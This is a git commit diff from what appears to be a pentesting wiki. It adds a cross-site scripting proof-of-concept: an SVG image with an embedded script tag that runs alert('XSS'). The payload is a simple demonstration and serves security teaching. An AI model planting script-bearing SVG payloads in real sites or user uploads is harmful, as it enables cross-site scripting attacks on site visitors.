GitBook: [master] one page modified

This commit is contained in:
CPol 2021-01-22 11:00:52 +00:00 committed by gitbook-bot
parent 325d8b633f
commit 812b84171f
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF

View file

@ -775,6 +775,17 @@ Content-Type: image/svg+xml
</svg>
```
```python
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
```
## Other JavaScript tricks
### JavaScript Comments